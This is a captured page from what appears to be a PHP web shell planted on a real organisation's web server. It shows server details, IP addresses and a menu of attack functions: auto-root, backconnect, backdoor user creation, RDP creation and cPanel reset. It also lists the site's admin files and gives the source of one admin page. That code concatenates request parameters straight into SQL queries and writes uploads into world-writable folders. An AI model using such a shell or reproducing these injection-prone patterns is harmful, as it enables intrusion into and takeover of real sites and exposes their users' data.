Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.28
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
aryaadmin /
Archive /
[ HOME SHELL ]
Name
Size
Permission
Action
common
[ DIR ]
drwxr-xr-x
arya_AdminInclude_11-01-16.php
1002
B
-rw-r--r--
arya_AdminInclude_13-01-16.php
1.06
KB
-rw-r--r--
arya_AdminInclude_16-09-14.php
811
B
-rw-r--r--
arya_addactivities_28-03-14.ph...
16.43
KB
-rw-r--r--
arya_addadminpages_14-08-14.ph...
13.62
KB
-rw-r--r--
arya_addadmissionnotification_...
32.91
KB
-rw-r--r--
arya_addadvertisement_18-12-14...
23.42
KB
-rw-r--r--
arya_addarticle_05-08-14.php
30.03
KB
-rw-r--r--
arya_addarticle_25-11-15.php
29.99
KB
-rw-r--r--
arya_addaryasamajtab_28-03-14....
22.29
KB
-rw-r--r--
arya_addaudioalbum_28-03-14.ph...
23.93
KB
-rw-r--r--
arya_addauthor_13-09-14.php
20.12
KB
-rw-r--r--
arya_adddiscategory_28-03-14.p...
28.26
KB
-rw-r--r--
arya_adddiscover_04-08-14.php
27.41
KB
-rw-r--r--
arya_addelectionappointment_02...
16.17
KB
-rw-r--r--
arya_addengvarriable_25-03-14....
8.84
KB
-rw-r--r--
arya_addevents_26-01-16.php
50.97
KB
-rw-r--r--
arya_addevents_28-03-14.php
50.96
KB
-rw-r--r--
arya_addeventtype_28-03-14.php
29.83
KB
-rw-r--r--
arya_addfestival_23-07-14.php
30.54
KB
-rw-r--r--
arya_addfiledownload_09-12-14....
12.06
KB
-rw-r--r--
arya_addimportantplaces_28-03-...
35.98
KB
-rw-r--r--
arya_addinstituteprofile_02-10...
23.85
KB
-rw-r--r--
arya_addinstituteprofile_09-05...
23.84
KB
-rw-r--r--
arya_addinstitutetype_04-08-14...
33.23
KB
-rw-r--r--
arya_addinstitution_09-10-14.p...
56.08
KB
-rw-r--r--
arya_addlanguage_04-08-14.php
13.81
KB
-rw-r--r--
arya_addmagazines_02-01-15.php
38.12
KB
-rw-r--r--
arya_addmagazinetitle_09-10-14...
44.28
KB
-rw-r--r--
arya_addmember_29-05-14.php
37.84
KB
-rw-r--r--
arya_addmembertype_04-08-14.ph...
22.95
KB
-rw-r--r--
arya_addmobileaudio_05-12-14.p...
23.51
KB
-rw-r--r--
arya_addmobileaudio_06-01-16.p...
9.1
KB
-rw-r--r--
arya_addmobileaudio_08-01-16.p...
8.69
KB
-rw-r--r--
arya_addmobileimage_05-12-14.p...
20.91
KB
-rw-r--r--
arya_addnews_arvind-18-01-19.p...
61.42
KB
-rw-r--r--
arya_addobituary_18-10-14.php
27.42
KB
-rw-r--r--
arya_addphotogallery_28-03-14....
29.04
KB
-rw-r--r--
arya_addportalhomeslidebanner_...
11.62
KB
-rw-r--r--
arya_addportalsection_04-08-14...
22.76
KB
-rw-r--r--
arya_addportaltab_18-04-14.php
24.93
KB
-rw-r--r--
arya_addprimaryrecord_28-03-14...
47.92
KB
-rw-r--r--
arya_addproduct_28-03-14.php
20.39
KB
-rw-r--r--
arya_addradioairing_04-08-14.p...
18.93
KB
-rw-r--r--
arya_addscndtestquestions_12-1...
24.82
KB
-rw-r--r--
arya_addscndtimeline_17-12-14....
24.27
KB
-rw-r--r--
arya_addsecndryfestival_20-02-...
20.89
KB
-rw-r--r--
arya_addsecondaryactivity_18-0...
15.66
KB
-rw-r--r--
arya_addservices_28-03-14.php
17.99
KB
-rw-r--r--
arya_addstreamingbanner_28-03-...
20.97
KB
-rw-r--r--
arya_addtest_28-05-14.php
15.62
KB
-rw-r--r--
arya_addtestlevel_28-05-14.php
22.6
KB
-rw-r--r--
arya_addtestquestions_27-08-14...
45.74
KB
-rw-r--r--
arya_addtimeline_16-12-14.php
16.6
KB
-rw-r--r--
arya_addtimeline_17-12-14.php
16.92
KB
-rw-r--r--
arya_addtimeline_29-12-14.php
14.26
KB
-rw-r--r--
arya_addvacancy_27-05-14.php
34.54
KB
-rw-r--r--
arya_addvideoalbum_28-03-14.ph...
23.91
KB
-rw-r--r--
arya_addvideogallery_28-03-14....
21.82
KB
-rw-r--r--
arya_addwallpaper_28-03-14.php
9.19
KB
-rw-r--r--
arya_addwebsite_28-03-14.php
18.06
KB
-rw-r--r--
arya_adminlogin_18-03-15.php
7.26
KB
-rw-r--r--
arya_articleautoauthor_05-06-1...
342
B
-rw-r--r--
arya_articlependinglist_22-09-...
21.08
KB
-rw-r--r--
arya_autologout_15-03-14.php
1.94
KB
-rw-r--r--
arya_changepasswordpopup_05-05...
5.53
KB
-rw-r--r--
arya_ckeditor2_14-10-14.php
1.64
KB
-rw-r--r--
arya_ckeditor3_14-10-14.php
1.64
KB
-rw-r--r--
arya_downloadallfile_31-03-14....
2.06
KB
-rw-r--r--
arya_downloadfile_20-12-14.php
1.21
KB
-rw-r--r--
arya_downloadpendinglist_03-03...
24.68
KB
-rw-r--r--
arya_editactivities_28-03-14.p...
23.07
KB
-rw-r--r--
arya_editadminpages_14-08-14.p...
17.92
KB
-rw-r--r--
arya_editadmissionnotification...
40.28
KB
-rw-r--r--
arya_editadvertisement_04-08-1...
29.7
KB
-rw-r--r--
arya_editarticle_11-01-16.php
38.44
KB
-rw-r--r--
arya_editarticle_25-11-15.php
38.41
KB
-rw-r--r--
arya_editarticle_27-10-14.php
38.39
KB
-rw-r--r--
arya_editaryasamajtab_28-03-14...
21.9
KB
-rw-r--r--
arya_editaudioalbum_28-03-14.p...
28.46
KB
-rw-r--r--
arya_editauthor_04-11-14.php
24.92
KB
-rw-r--r--
arya_editdiscategory_28-03-14....
16.11
KB
-rw-r--r--
arya_editdiscover_04-08-14.php
34.54
KB
-rw-r--r--
arya_editelectionappointment_1...
20.12
KB
-rw-r--r--
arya_editelectionappointment_1...
20.06
KB
-rw-r--r--
arya_editevents_19-11-14.php
64.12
KB
-rw-r--r--
arya_editeventtype_28-03-14.ph...
20.59
KB
-rw-r--r--
arya_editfestival_28-03-14.php
38.51
KB
-rw-r--r--
arya_editfiledownload_20-12-14...
22.21
KB
-rw-r--r--
arya_editimportantplaces_18-09...
43.96
KB
-rw-r--r--
arya_editinstitutetype_04-08-1...
23.15
KB
-rw-r--r--
arya_editinstitution_01-10-15....
71.83
KB
-rw-r--r--
arya_editinstitution_02-10-15....
73.92
KB
-rw-r--r--
arya_editinstitution_09-10-14....
55.89
KB
-rw-r--r--
arya_editinstitution_29-09-15....
55.8
KB
-rw-r--r--
arya_editlanguage_04-08-14.php
16.45
KB
-rw-r--r--
arya_editmagazines_08-11-14.ph...
54.04
KB
-rw-r--r--
arya_editmagazinetitle_09-10-1...
53.82
KB
-rw-r--r--
arya_editmember_28-03-14.php
47.21
KB
-rw-r--r--
arya_editmembertype_04-08-14.p...
9.27
KB
-rw-r--r--
arya_editmlevelcategory_04-08-...
9.71
KB
-rw-r--r--
arya_editmobileaudio_06-01-16....
8.9
KB
-rw-r--r--
arya_editmobileaudio_08-01-16....
8.5
KB
-rw-r--r--
arya_editmobileaudio_11-12-14....
8.9
KB
-rw-r--r--
arya_editmobileimage_11-12-14....
9.32
KB
-rw-r--r--
arya_editmpowercategory_04-08-...
10.36
KB
-rw-r--r--
arya_editnews_05-12-14.php
70.37
KB
-rw-r--r--
arya_editnews_13-10-15.php
70.37
KB
-rw-r--r--
arya_editobituary_18_10-14.php
31.32
KB
-rw-r--r--
arya_editphotogallery_28-03-14...
22.85
KB
-rw-r--r--
arya_editportalhomeslidebanner...
13.23
KB
-rw-r--r--
arya_editportaltab_16-04-14.ph...
14.91
KB
-rw-r--r--
arya_editportaltab_17-04-14.ph...
15.18
KB
-rw-r--r--
arya_editprimaryrecord_28-03-1...
68.73
KB
-rw-r--r--
arya_editproduct_28-03-14.php
24.67
KB
-rw-r--r--
arya_editquestioncategory_04-0...
4.83
KB
-rw-r--r--
arya_editradioairing_04-08-14....
23.88
KB
-rw-r--r--
arya_editscndtestquestions_27-...
19.24
KB
-rw-r--r--
arya_editscndtimeline_17-12-14...
19.98
KB
-rw-r--r--
arya_editsecndryfestival_20-02...
15.32
KB
-rw-r--r--
arya_editsecondaryactivity_18-...
13.04
KB
-rw-r--r--
arya_editsecondaryservice_18-0...
13.08
KB
-rw-r--r--
arya_editservices_28-03-14.php
27.4
KB
-rw-r--r--
arya_editstreamingbanner_28-03...
24.27
KB
-rw-r--r--
arya_edittestquestions_27-08-1...
36.17
KB
-rw-r--r--
arya_edittestquestions_28-03-1...
34.6
KB
-rw-r--r--
arya_edittimeline_29-12-14.php
16.88
KB
-rw-r--r--
arya_editvacancy_27-05-14.php
44.08
KB
-rw-r--r--
arya_editvideoalbum_28-03-14.p...
29.72
KB
-rw-r--r--
arya_editvideogallery_28-03-14...
26.26
KB
-rw-r--r--
arya_editwallpaper_28-03-14.ph...
10.34
KB
-rw-r--r--
arya_editwebsite_28-03-14.php
22.98
KB
-rw-r--r--
arya_forgotpwd_06-05-14.php
5.37
KB
-rw-r--r--
arya_ftpfile_02-01-15.php
1.44
KB
-rw-r--r--
arya_header_29-10-14.php
7.48
KB
-rw-r--r--
arya_home_24-12-15.php
640
B
-rw-r--r--
arya_insertpamphlet_21-09-15.p...
15.51
KB
-rw-r--r--
arya_insertpamphlet_25-01-16.p...
15.51
KB
-rw-r--r--
arya_insertpamphlet_28-03-14.p...
16.01
KB
-rw-r--r--
arya_instoffpendinglist_26-05-...
19.27
KB
-rw-r--r--
arya_instpendinglist_01-10-15....
17.35
KB
-rw-r--r--
arya_instpendinglist_28-09-15....
16.42
KB
-rw-r--r--
arya_instphotoupload_18-12-14....
14.98
KB
-rw-r--r--
arya_mailinsquickupload_28-11-...
9.64
KB
-rw-r--r--
arya_memberautodelete_21-06-14...
4.96
KB
-rw-r--r--
arya_menu_14-03-16.php
13.82
KB
-rw-r--r--
arya_mgzndownload_20-12-14.php
2.06
KB
-rw-r--r--
arya_mlevelcategory_04-08-14.p...
23.69
KB
-rw-r--r--
arya_mngactivities_19-06-14.ph...
26.23
KB
-rw-r--r--
arya_mngadmin_18-06-14.php
23.63
KB
-rw-r--r--
arya_mngadminpages_19-06-14.ph...
18.29
KB
-rw-r--r--
arya_mngadmissionnotification_...
20.56
KB
-rw-r--r--
arya_mngadvertisement_19-06-14...
24.17
KB
-rw-r--r--
arya_mngarticle_03-11-14.php
80.54
KB
-rw-r--r--
arya_mngarticle_16_Dec_15.php
80.66
KB
-rw-r--r--
arya_mngauthor_13-09-14.php
22.95
KB
-rw-r--r--
arya_mngblocksequence_15-10-14...
11.64
KB
-rw-r--r--
arya_mngcity_19-06-14.php
22.76
KB
-rw-r--r--
arya_mngcountry_19-06-14.php
19.4
KB
-rw-r--r--
arya_mngcurrentadminlogin_15-0...
4.32
KB
-rw-r--r--
arya_mngdiscover_19-06-14.php
31.28
KB
-rw-r--r--
arya_mngdynamicpages_21-06-14....
18.32
KB
-rw-r--r--
arya_mngelectionappointment_11...
26.85
KB
-rw-r--r--
arya_mngelectionappointment_12...
26.84
KB
-rw-r--r--
arya_mngelectionappointment_16...
27.22
KB
-rw-r--r--
arya_mngengvariable_25-03-14.p...
20.87
KB
-rw-r--r--
arya_mngevents_19-06-14.php
43.6
KB
-rw-r--r--
arya_mngfestival_19-06-14.php
30.69
KB
-rw-r--r--
arya_mngfiledownload_12-03-15....
31.33
KB
-rw-r--r--
arya_mngfiledownload_24-09-15....
31.39
KB
-rw-r--r--
arya_mngimportantplaces_19-06-...
35.95
KB
-rw-r--r--
arya_mnginstitution_09-10-14.p...
107.28
KB
-rw-r--r--
arya_mnginstitution_29-09-15.p...
107.21
KB
-rw-r--r--
arya_mnginstmgzadmin_17-06-14....
38.8
KB
-rw-r--r--
arya_mngmagazines_08-11-14.php
25.66
KB
-rw-r--r--
arya_mngmagazinetitle_09-10-14...
51.98
KB
-rw-r--r--
arya_mngmember_03-10-15.php
76.76
KB
-rw-r--r--
arya_mngmember_09-02-16.php
77.33
KB
-rw-r--r--
arya_mngmember_16_dec_15.php
77.04
KB
-rw-r--r--
arya_mngmember_17-10-14.php
76.08
KB
-rw-r--r--
arya_mngmobileaudio_11-06-15.p...
17.53
KB
-rw-r--r--
arya_mngnews_27-11-14.php
52.54
KB
-rw-r--r--
arya_mngobituary_15-10-14.php
23.06
KB
-rw-r--r--
arya_mngperson_19-06-14.php
51.31
KB
-rw-r--r--
arya_mngpollquestions_19-06-14...
33.89
KB
-rw-r--r--
arya_mngportalhomeslidebanner_...
22.52
KB
-rw-r--r--
arya_mngproduct_19-06-14.php
19.32
KB
-rw-r--r--
arya_mngquickuploads_16-12-14....
28.25
KB
-rw-r--r--
arya_mngradioairing_19-06-14.p...
17.72
KB
-rw-r--r--
arya_mngreporter_19-06-14.php
39.48
KB
-rw-r--r--
arya_mngservices_19-06-14.php
25.44
KB
-rw-r--r--
arya_mngstate_19-06-14.php
20.19
KB
-rw-r--r--
arya_mngstreaming_19-06-14.php
21.1
KB
-rw-r--r--
arya_mngstreamingbanner_19-06-...
20.88
KB
-rw-r--r--
arya_mngtestquestions_04-12-14...
33.56
KB
-rw-r--r--
arya_mngtimeline_26-12-14.php
35.04
KB
-rw-r--r--
arya_mngvacancy_19-06-14.php
25.94
KB
-rw-r--r--
arya_mngvacancy_29-04-14.php
26.58
KB
-rw-r--r--
arya_mngvedmantra_19-06-14.php
25.09
KB
-rw-r--r--
arya_mngwallpaper_19-06-14.php
13.99
KB
-rw-r--r--
arya_mngwebsite_19-06-2014.php
19.61
KB
-rw-r--r--
arya_mobileaudiopending_11-12-...
14.4
KB
-rw-r--r--
arya_mpowercategory_04-08-14.p...
26.06
KB
-rw-r--r--
arya_newsphotoupload_31-01-15....
16.3
KB
-rw-r--r--
arya_obituaryphotos_28-03-14.p...
15.62
KB
-rw-r--r--
arya_otherlangvarriable_25-04-...
12.02
KB
-rw-r--r--
arya_pendingtabs_18-12-14.php
5.19
KB
-rw-r--r--
arya_pendingtabs_29-09-15.php
5.26
KB
-rw-r--r--
arya_persnphotoupload_28-03-14...
16.76
KB
-rw-r--r--
arya_placephotoupload_28-03-14...
16.99
KB
-rw-r--r--
arya_pushnotification_23-09-14...
6.45
KB
-rw-r--r--
arya_quickautodelete_14-05-14....
1.39
KB
-rw-r--r--
arya_quickupldpendinglist_19-1...
36.03
KB
-rw-r--r--
arya_reportpendinglist_13-05-1...
53.47
KB
-rw-r--r--
arya_searchvariablename_15-03-...
352
B
-rw-r--r--
arya_sendquickuploadmail_29-10...
4.41
KB
-rw-r--r--
arya_timelinependinglist_17-12...
28.17
KB
-rw-r--r--
arya_uploadtakeatour_28-05-14....
38.87
KB
-rw-r--r--
arya_viewadminLaPower_arvind-1...
9.24
KB
-rw-r--r--
arya_viewadminactivity_27-03-1...
9.14
KB
-rw-r--r--
arya_viewadminactivity_arvind-...
9.15
KB
-rw-r--r--
arya_viewadminhistory_arvind-1...
7.21
KB
-rw-r--r--
arya_viewadminpower_arvind-14-...
12.76
KB
-rw-r--r--
arya_viewadminprofile_arvind-1...
5.43
KB
-rw-r--r--
arya_viewnewsphotos_28-11-14.p...
7.77
KB
-rw-r--r--
arya_viewobituarymessage_15-10...
6.17
KB
-rw-r--r--
arya_viewobituaryphoto_14-03-1...
7.08
KB
-rw-r--r--
arya_viewpendingquickupload_02...
18.1
KB
-rw-r--r--
arya_viewpendingreport_09-04-1...
17.43
KB
-rw-r--r--
arya_viewquickuploads_02-10-14...
17.91
KB
-rw-r--r--
arya_viewreport_09-04-14.php
17.43
KB
-rw-r--r--
arya_wallpaper_24-02-14.php
570
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : arya_editvideoalbum_28-03-14.php
<?php include('arya_AdminInclude.php'); //created by Parmar Nitesh //header start include('arya_header.php'); //header over // link start include("arya_menu.php"); // link over // content start //This is used for admin rights wise display field Start Added By Navneet 07/02/2013 $admusrid=$_SESSION["adminuserid"]; $dbusercatid=getFieldValue('admcat_id','arya_adminsectionrights','admuser_id="'.$admusrid.'"'); $rightsid=mysql_query('SELECT admsecright_pageid FROM arya_adminsectionrights WHERE admcat_id IN('.$dbusercatid.') AND admuser_id="'.$admusrid.'"'); while($rightfetch=mysql_fetch_array($rightsid)) { $admcatrightsid[]=$rightfetch['admsecright_pageid']; } foreach($admcatrightsid as $key) { $qry="select * from arya_adminpage where page_sectionid='".$key."'"; $q=mysql_query($qry); while($fetch=mysql_fetch_array($q)) { $pagename=$fetch['page_filename']; if($pagename=='arya_addvideoalbum.php') { $rightapprove=getFieldValue('admsecright_approve','arya_adminsectionrights','admsecright_pageid="'.$key.'" AND admuser_id="'.$admusrid.'" AND admcat_id="'.$dbusercatid.'"'); //$rightapprove=getFieldValue('admsecright_approve','arya_adminsectionrights','admsecright_pageid="'.$key.'"'); } } } //This is used for admin rights wise display field End Added By Navneet 07/02/2013 $vdalbmid=$_GET['vdalbmid']; $pagesecid=$_GET['scid']; $orgrgnzid=$_SESSION['organid']; $eventid=$_SESSION['eventid']; $newsid=$_SESSION['newsid']; $fest=$_SESSION["fest"]; $logindate=date('Y-m-d h:i:s'); $curntdate=date('Y-m-d'); $curnttime= date('h:i:s'); //click on reset button that time reset value start $btntype='type="reset"'; if($_GET['sellng']!="" || $_GET['msg']=="ettlerremp" || $_GET['msg']=="ettlerr" || $_GET['msg']=="hdttlerremp" || $_GET['msg']=="hdttlerr" || $_GET['msg']=="otrttlerremp" || $_GET['msg']=="otrttlerr" || $_GET['msg']=="empshrttext" || $_GET['msg']=="shrttexterr" || $_GET['msg']=="shrthdttlerremp" || $_GET['msg']=="shrthdttlerr" || $_GET['msg']=="shrtotrttlerremp" || $_GET['msg']=="shrtotrttlerr" || $_GET['msg']=="vaseqerr") { $btntype='type="submit"'; if(isset($_POST['btnreset'])) { RedirecPage('arya_editvideoalbum.php?vdalbmid='.$vdalbmid.'&scid='.$pagesecid.''); } } //click on reset button that time reset value end //Start redirect search id in manage moduel code if($orgrgnzid > 0) {$orgval='&orgid='.$orgrgnzid;}else{$orgval="";} if($eventid > 0) {$eventval='&evntid='.$eventid;}else{$eventval="";} if($newsid > 0) {$nwsval='&nwsid='.$newsid;}else{$nwsval="";} if($fest > 0){$festval='&fstvlid='.$fest;}else{$festval="";} if($orgrgnzid > 0 || $eventid > 0 || $newsid > 0){$msgval='&msg=upd';}else{$msgval='&msg=upd';} if($_GET['vdalbmid']!="" && isset($_GET['vdalbmid'])) { $vdalbmid=$_GET['vdalbmid']; $qrySelVAlbum="SELECT * FROM arya_videoalbum WHERE va_id='".$vdalbmid."'"; $qSelVAlbum=mysql_query($qrySelVAlbum); $qFetchVAlbum=mysql_fetch_array($qSelVAlbum); $lngid=$qFetchVAlbum["lang_id"]; $dborganizationid=$qFetchVAlbum["inst_id"]; $dbeventid=$qFetchVAlbum["event_id"]; $dbnewsid=$qFetchVAlbum["news_id"]; $dbfstid=$qFetchVAlbum["fstvl_id"]; $dbtitle=stripslashes($qFetchVAlbum["va_title"]); $dbtitlehindi=stripslashes($qFetchVAlbum["va_titlehindi"]); $dbtitleother=stripslashes($qFetchVAlbum["va_titleother"]); $dbimage1=stripslashes($qFetchVAlbum["va_image"]); $dbimage=str_replace("./","",$dbimage1); $dbshorttxt=stripslashes($qFetchVAlbum["va_shorttext"]); $dbshorttxthindi=stripslashes($qFetchVAlbum["va_shorttexthindi"]); $dbshorttxtother=stripslashes($qFetchVAlbum["va_shorttextother"]); $fck_content=stripslashes($qFetchVAlbum["va_longtext"]); $dbsequence=$qFetchVAlbum["va_sequence"]; $dbshowhome=$qFetchVAlbum["va_showhome"]; $dbvisible=$qFetchVAlbum["va_visible"]; if($dbshowhome == 'Yes') { $showyes='checked="checked"'; } else { $showno='checked="checked"'; } if($dbvisible == 'Yes') { $visibleyes='checked="checked"'; } else { $visibleno='checked="checked"'; } } if($_GET["sellng"]>0) { $_SESSION["sellng"]=$_GET["sellng"]; } else { $_SESSION["sellng"]=$lngid; } if(isset($_POST["btnadd"])) { $fetchlanguage=explode(",",$_POST["cmblanguage"]); $languagename=$fetchlanguage[0]; $languageid=$fetchlanguage[1]; $_SESSION["cmblanguage"]=$languageid; $title=addslashes($_POST["txttitle"]); $_SESSION["txttitle"]=addslashes($_POST["txttitle"]); $titlehindi=addslashes($_POST["txthindititle"]); $_SESSION["txthindititle"]=addslashes($_POST["txthindititle"]); $titleother=addslashes($_POST["othertxttitle"]); $_SESSION["othertxttitle"]=addslashes($_POST["othertxttitle"]); $postpashorttext = addslashes($_POST['txtshorttexttitle']); $_SESSION["txtshorttexttitle"]=addslashes($_POST["txtshorttexttitle"]); $postpashorttexthindi = addslashes($_POST['txthindishorttext']); $_SESSION["txthindishorttext"]=addslashes($_POST["txthindishorttext"]); $postpashorttextother = addslashes($_POST['othertxtshorttext']); $_SESSION["othertxtshorttext"]=addslashes($_POST["othertxtshorttext"]); $postorgid=$_POST["cmborg"]; $_SESSION["cmborg"]=$_POST["cmborg"]; $posteventid=$_POST["cmbevent"]; $_SESSION["cmbevent"]=$_POST["cmbevent"]; $postnewsid=$_POST["cmbnews"]; $_SESSION["cmbnews"]=$_POST["cmbnews"]; $cmbfest=$_POST["cmbfest"]; $_SESSION["cmbfest"]=$_POST["cmbfest"]; $postcontent=$_POST["FckContent"]; $_SESSION["FckContent"]=addslashes($_POST["FckContent"]); $postsequence1=$_POST["txtsequence"]; $postshowhome1=$_POST["txtshowhome"]; $postvisible1=$_POST["txtvisible"]; if($rightapprove == 'Self' || $rightapprove == 'All') //rights wise added by navneet { $postsequence=$_POST["txtsequence"]; $postshowhome=$_POST["txtshowhome"]; $postvisible=$_POST["txtvisible"]; } else { $postsequence=$dbsequence; $postshowhome=$dbshowhome; $postvisible=$dbvisible; } if($_POST["txtsequence"]!="") { $_SESSION['txtsequence']=$_POST["txtsequence"]; } unset($_SESSION['chkshowhomeyes']); unset($_SESSION['chkshowhomeno']); if($_POST["txtshowhome"]=='Yes') { $_SESSION['chkshowhomeyes']='checked="checked" '; } else if($_POST["txtshowhome"]=='No') { $_SESSION['chkshowhomeno']='checked="checked" '; } unset($_SESSION['chkvisibleyes']); unset($_SESSION['chkvisibleno']); if($_POST["txtvisible"]=='Yes') { $_SESSION['chkvisibleyes']='checked="checked" '; } else if($_POST["txtvisible"]=='No') { $_SESSION['chkvisibleno']='checked="checked" '; } if($_SERVER['SERVER_NAME']=='www.thearyasamaj.org' || $_SERVER['SERVER_NAME']=='thearyasamaj.org') { if($title=="") { RedirecPage('arya_editvideoalbum.php?vdalbmid='.$vdalbmid.'&scid='.$pagesecid.'&msg=ettlerremp'); } if(find_scripttags($title)=="Yes") { RedirecPage('arya_editvideoalbum.php?vdalbmid='.$vdalbmid.'&scid='.$pagesecid.'&sellng='.$_SESSION["sellng"].'&msg=ettlerr'); } if($_SESSION["sellng"]==2 && $titlehindi=="") { RedirecPage('arya_editvideoalbum.php?vdalbmid='.$vdalbmid.'&scid='.$pagesecid.'&sellng='.$_SESSION["sellng"].'&msg=hdttlerremp'); } if(find_scripttags($titlehindi)=="Yes") { RedirecPage('arya_editvideoalbum.php?vdalbmid='.$vdalbmid.'&scid='.$pagesecid.'&sellng='.$_SESSION["sellng"].'&msg=hdttlerr'); } if($_SESSION["sellng"]>2 && $titleother=="") { RedirecPage('arya_editvideoalbum.php?vdalbmid='.$vdalbmid.'&scid='.$pagesecid.'&sellng='.$_SESSION["sellng"].'&msg=otrttlerremp'); } if(find_scripttags($titleother)=="Yes") { RedirecPage('arya_editvideoalbum.php?vdalbmid='.$vdalbmid.'&scid='.$pagesecid.'&sellng='.$_SESSION["sellng"].'&msg=otrttlerr'); } if($postpashorttext=="") { RedirecPage('arya_editvideoalbum.php?vdalbmid='.$vdalbmid.'&scid='.$pagesecid.'&sellng='.$_SESSION["sellng"].'&msg=empshrttext'); } if(find_scripttags($postpashorttext)=="Yes") { RedirecPage('arya_editvideoalbum.php?vdalbmid='.$vdalbmid.'&scid='.$pagesecid.'&sellng='.$_SESSION["sellng"].'&msg=shrttexterr'); } if($_SESSION["sellng"]==2 && $postpashorttexthindi=="") { RedirecPage('arya_editvideoalbum.php?vdalbmid='.$vdalbmid.'&scid='.$pagesecid.'&sellng='.$_SESSION["sellng"].'&msg=shrthdttlerremp'); } if(find_scripttags($postpashorttexthindi)=="Yes") { RedirecPage('arya_editvideoalbum.php?vdalbmid='.$vdalbmid.'&scid='.$pagesecid.'&sellng='.$_SESSION["sellng"].'&msg=shrthdttlerr'); } if($_SESSION["sellng"]>2 && $postpashorttextother=="") { RedirecPage('arya_editvideoalbum.php?vdalbmid='.$vdalbmid.'&scid='.$pagesecid.'&sellng='.$_SESSION["sellng"].'&msg=shrtotrttlerremp'); } if(find_scripttags($postpashorttextother)=="Yes") { RedirecPage('arya_editvideoalbum.php?vdalbmid='.$vdalbmid.'&scid='.$pagesecid.'&sellng='.$_SESSION["sellng"].'&msg=shrtotrttlerr'); } if(find_scripttags($sequence)=="Yes") { RedirecPage('arya_editvideoalbum.php?vdalbmid='.$vdalbmid.'&scid='.$pagesecid.'&sellng='.$_SESSION["sellng"].'&msg=vaseqerr'); } }//if($_SERVER['SERVER_NAME']=='www.thearyasamaj.org' || $_SERVER['SERVER_NAME']=='thearyasamaj.org') if($title!="") { $valueName = getFieldValue('va_title','arya_videoalbum','va_title="'.$title.'" AND va_id!="'.$vdalbmid.'"'); if($valueName == "") { $qryUpdVAlbum="UPDATE arya_videoalbum SET lang_id='".$languageid."', inst_id='".$postorgid."',event_id='".$posteventid."',news_id='".$postnewsid."',fstvl_id='".$cmbfest."', va_title='".$title."',va_titlehindi='".$titlehindi."',va_titleother='".$titleother."',va_shorttext='".$postpashorttext."',va_shorttexthindi='".$postpashorttexthindi."',va_shorttextother='".$postpashorttextother."',va_longtext='".$postcontent."',va_sequence='".$postsequence."',va_showhome='".$postshowhome."',va_visible='".$postvisible."' WHERE va_id='".$vdalbmid."'"; $qUpdVAlbum=mysql_query($qryUpdVAlbum); if($qUpdVAlbum) { getadminactivity('title_editvideoalbum',$pagesecid,$_SESSION["adminuserid"],$_SERVER["REMOTE_ADDR"],$title,$curntdate,$curnttime); //image code start if($_FILES['txtimage']['name'] != "") { $smallimage=getFieldValue('va_image','arya_videoalbum','va_id='.$vdalbmid); $bigimage=str_replace('SM','BG',$smallimage); $mainimage=str_replace('SM_','',$smallimage); $mainphotimage=str_replace('media','photo',$mainimage); if($conditionvar=='2') { unlink($smallimage); unlink($bigimage); unlink($mainphotimage); } if($conditionvar=='1') { include('arya_ftpfile.php'); ftp_delete($srvconnect_id ,$smallimage); ftp_delete($srvconnect_id ,$bigimage); ftp_delete($srvconn_id ,$mainimage); /*unlink('http://5.9.221.222/~thearyas/uploads/media/'.$smallimage); unlink('http://5.9.221.222/~thearyas/uploads/media/'.$bigimage); unlink('http://5.9.221.222/~thearyas/uploads/photo/'.$mainimage);*/ } $ImageSource = $_FILES['txtimage']['tmp_name']; $number = rand(); $imagenumber=strtoupper(base_convert($number, 10, 36)); $FileName = $imagenumber."_".str_replace(" ","_",$_FILES['txtimage']['name']); $SmallFileName = $imagenumber."_SM_".str_replace(" ","_",$_FILES['txtimage']['name']); $BigFileName = $imagenumber."_BG_".str_replace(" ","_",$_FILES['txtimage']['name']); $ext=substr(strtolower($FileName),strpos($FileName,'.')+1); if(strlen($ext) > 4) { $ext=substr(strtolower($ext),strpos($ext,'.')+1); } if($conditionvar=='2') { if($ext=="jpg" || $ext=="gif" || $ext=="png" || $ext=="jpeg" || $ext=="bmp" || $ext=="JPG" || $ext=="JPEG" || $ext=="GIF" ||$ext=="PNG" ||$ext=="BMP") { include('arya_makedirectory.php'); $Thumwidth = "122"; $Thumheight = ""; $bigThumwidth = "239"; $bigThumheight = ""; $filePath=$photomonthpath.$FileName; $d=copy($ImageSource,$filePath); if($d) { $ThumbtoPath=$mediamonthpath.$SmallFileName; $UploadImg=generate_image_thumbnail($ImageSource, $ThumbtoPath, $Thumwidth, $Thumheight); $bigThumbtoPath=$mediamonthpath.$BigFileName; $UploadImg=generate_image_thumbnail($ImageSource, $bigThumbtoPath, $bigThumwidth, $bigThumheight); if($UploadImg== "true") { $qryUpdateAdvert = "update arya_videoalbum set va_image='".$ThumbtoPath."' where va_id =".$vdalbmid.""; $qUpdateAdvert = mysql_query($qryUpdateAdvert); } } }//extention condition over }//if($conditionvar=='2') else { $smallimage=getFieldValue('va_image','arya_videoalbum','va_id='.$vdalbmid); $image=str_replace("./","media/",$smallimage); $bigimage=str_replace('SM','BG',$image); unlink($image); unlink($bigimage); $year=date('Y'); $month=date('m'); $mediaPath="media/"; $mediayearpath="media/".$year."/"; $mediamonthpath="media/".$year."/".$month."/"; $Thumwidth = "122"; $Thumheight = ""; $bigThumwidth = "239"; $bigThumheight = ""; if(!is_dir($mediaPath)) { mkdir($mediaPath); chmod($mediaPath,0777); } if(!is_dir($mediayearpath)) { mkdir($mediayearpath); chmod($mediayearpath,0777); } if(!is_dir($mediamonthpath)) { mkdir($mediamonthpath); chmod($mediamonthpath,0777); } $ThumbtoPath=$mediamonthpath.$SmallFileName; $UploadImg=generate_image_thumbnail($ImageSource, $ThumbtoPath, $Thumwidth, $Thumheight); $bigThumbtoPath=$mediamonthpath.$BigFileName; $UploadImg=generate_image_thumbnail($ImageSource, 